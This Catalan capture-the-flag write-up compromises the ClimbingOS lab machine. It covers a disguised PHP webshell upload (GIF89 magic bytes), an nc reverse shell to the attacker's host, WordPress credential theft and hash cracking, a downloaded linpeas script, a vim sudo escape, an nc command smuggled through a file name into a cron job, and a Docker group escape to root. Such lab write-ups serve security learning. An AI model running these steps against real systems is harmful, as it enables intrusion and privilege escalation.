CTF ClimbingOS
Índex
1 Introducció
2 Fase de Recon
2.1 Escaneig de ports amb nMap
Resultat:
2.2 Cerca d'exploits amb searchsploit
2.2.1 OpenSSH
searchsploit openssh
- 40136
Després de llançar el script amb diferents paràmetres i fer varies proves, començo a sospitar que els resultats no son gaire acurats.
Investigo una mica més en la vulnerabilitat i veig que es tracta de esbrinar si un usuari exiteix al sistema objectiu basant-se en el temps de resposta del sistema en el intent de login. Per tant, tot i que interessant, és lògic que pugui donar forçes falsos positius i negatius.
python 40136.py -U ~/ClimbingOS_enumSSH.txt 192.168.1.46
Així doncs decideixo aprofitar que al Webminar hem vist ja el procés d'exploit per crear un diccionari on hi aparegui l'usuari jennifer que sé que si existeix al sistema objectiu i veure els resultats. p1_enumSSH_02-png
- 45939
Continuo les proves amb un altre script d'enumeració suseptible de poder funcionar sobre la versió d'OpenSSH existent. Tanmateix els resultats tornen a ser incorrectes.
2.2.2 Apache
searchsploit apache 2.4
Com es pot apreciar, no existeix en aquesta BBDD cap script adient per la versió d'Apache existent.
Tanmateix, existeixen molts scripts per complement o programari complementari a Apache (PHP, etc) i per tant caldrà tornar a cercar un cop descobertes aquestes tecnologies.
2.2.3 WordPress
searchsploit wordpress core
De nou, Wordpress com a tal no està en una versió amb bugs coneguts, però la BBDD disposa de molts scripts per addons i mods de WordPress. Caldrà tenir-ho present.
2.3 Exploració de la web
Una primera visita a 192.168.1.46:8000
ens dona com a resultat això:
El que podem observar a priemra vista és:
- Evidentment passa quelcom amb les referències HTML cap al CSS, imatges, etc.
- Podem veure que un dels usuaris de WordPress s'anomena jennifer ja que signat un post.
- La data del mateix post és de Febrer del 2019.
- Aquest post té un comentari, que per desgràcia no podem visualitzar (dona error)
Wappalizer també ens confirma que es tracta d'un WordPress 5.0.3 amb PHP i MySQL.
2.3.1 Fuzzing de directoris i arxius amb goBuster
gobuster dir -u http://192.168.1.46:8000 -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.sh,.js,.html -o ~/ClimbingOS_goBuster.log
Els resultats més interessant, amb codi 200, són:
Per visualitzar més ràpidament els continguts d'aquestes webs utilitzo una modificació de la comanda llançada amb gobuster
:
gobuster dir -u http://192.168.1.46:8000 -w /usr/share/wordlists/dirb/common.txt -x .php,.txt,.sh,.js,.html -n -e -s 200 -o ~/ClimbingOS-Aquatone.log
Obtenint un llistat d'adreçes complertes per poder passar a aquatone
.
cat ~/ClimbingOS-Aquatone.log | aquatone
aquatone
ens genera un report en format HTML amb screenshots de totes les webs que l'hi hem subministrat, les tencologies que utilitzen i la possibilitat de visitar-les amb un clic.
- robots.txt
El contingut de
robots.txt
és:User-agent:* Disallow:/gallery.php Disallow:/gallery
- gallery.js
El contingut del javascript és:
var gallery = { show : function(img){ // show() : show selected image in light box var clone = img.cloneNode(), front = document.getElementById("lfront"), back = document.getElementById("lback"); front.innerHTML = ""; front.appendChild(clone); back.classList.add("show"); }, hide : function(){ // hide() : hide the lightbox document.getElementById("lback").classList.remove("show"); } };
- gallery.php
Sembla ser que aquesta pàgina permet pujar imatges al servidor, i aparentment és l'única via d'accés que queda.
3 Fase Explotació
3.1 Gallery.php
3.1.1 Modificar el Content-Type
Intentem capturar la petició de pujada de d'una webshell i modificar el content-type per a que coincideixi amb image/png però no cola.
3.1.2 Magic Numbers
Modificant una webshell i afegint GIF89
al inici, modifiquem els magic numbers fent passar l'arxiu PHP com a imatge GIF.
Cal remarcar que he intentat també utilitzar altres formats (PNG, BMP, JPG) i programes (hexeditor) i tan sols ha funcionat amb GIF89
.
Finalment obtenim una WebShell.
3.2 simple-backdoor.php
Per obtenir una primera shell interactiva utilitzo nc:
- A la banda del atacant (Kali Linux):
nc -lnvp 6969
- I a simple-backdoor.php:
nc 192.168.1.41 6969 -e /bin/bash
3.2.1 Millorant la shell
Una primera millora sobre la shell que hem obtingut amb simple-backdoor.php és utilitzar python com intermedirari entre nosaltres i una nova shell de bash.
python -c 'import pty; pty.spawn("/bin/bash")'
En aquest prompt ens crida l'atenció el nom de la màquina, que és del estil típic de Docker, per tant possiblement estiguem dins d'un contenidor.
Seguidament, continuem millorant la shell amb aquest seguit de passes:
C z
-> Per passar la shell oberta amb nc en segon pla.stty raw -echo
-> Per configurar la shell.fg
-> Per recuperar el nc amb la shell a ClimbOS.reset
i configurem el terminal com xterm.
- Seguidament configurem les variables d'entorn
TERM
iSHELL
i establim el tamany del terminarl en files i columnes.
3.3 Remenant el Wordpress
Com tenim accés com usuari www-data
podem veure tots els continguts de la web, entre ells l'arxiu wp-config.php
que conté les dades de connexió a la BBDD.
3.4 MySQL
Amb les dades de connexió anteriors ens connectem a la BBDD MySQL amb mysql -uwordpress -pwordpress -hdb
I intentem aconseguir els ususaris de Wordpress fent la consulta select * form wp-users;
dins de la base de dades de wordpress
.
Trobem el hash de l'usuari jennifer, que és $P$BGz.3jt0WKiwtKYwdXz9cMwd6SreNg0
. Amb hash-identifier
esbrinem que efectivament és un hash MD5 de wordpress.
Intentem utilitzar hashcat
per trobar la contrasenya que genera aquest hash amb la comanda hashcat -m 400 hash.txt /usr/share/wordlists/rockyou.txt --force
i obtenim que la contrasenya és 123456
.
I intentem utilitzar aquestes credencials per a connectar directament per SSH amb el equip ClimbingOS, obtenint accés al sistema.
3.5 Usuari Jennifer
3.5.1 /etc/password
Mirant els usuaris del sistema veiem que hi han tres usuaris de sistema:
- jennifer
- mantis
- developer
3.5.2 Linpeas
Descarrego Linpeas amb wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/raw/master/linPEAS/linpeas.sh
, canviem permissos i llançem.
El resultat més significatiu és que jennifer pot inpersonar a mantis amb la comanda vi
.
3.5.3 Impersonar mantis des de vim
Ho verifiquem amb sudo -l
:
I executem vim com mantis amb sudo -u mantis vim
i des de dins utilitzem la comanda :! whoami
per executar des de vim aquesta comanda i verificar que impersonem mantis.
Per aconseguir una shell com a mantis entrem a l'impersonem a vim amb sudo -u mantis vim
i tot seguit executem una shell de bash des de vim amb :! /bin/bash
.
3.6 Usuari Mantis
Com que teniem localitzat prèviament el arxiu /home/developer/tmpcleaner.py que pertany a l'usuari i grup developer i el propi mantis pertany a developer ara ja el podem mirar.
Podem veure que està programat cada minut aquest script.
Aquest script permet fer un bypass de la comanda que executa rm {}
tot creant un arxiu a tmp que contingui com a nom la cria a la comanda nc
.
D'aquesta manera aconseguim escalar privilegis i passar a ser developer.
3.7 Usuari Developer
Un cop establer-ta la connexió tunejem la shell, com hem fet abans.
Fent un id
veiem que developer pertany al grup d'usuaris de Docker.
Consultant GTFOBINS podem veure que mitjançant Docker és possible obtenir una shell amb root del sistema.
Així que creem un nou contenidor d'Ubuntu mapejant l'arrel del sistema host contra una carpeta dins del contenidor docker container run -it -v /:/tmp/sistema ubuntu
.
Seguidament canviem l'arrel del sistema amb chroot /tmp/sistema
i ja estem en el sistema host amb usuari root.
3.8 Usuari root
Un cop com usuari root ja tan sols queda accedir al directori /root i mirar la falg per obtenir el premi.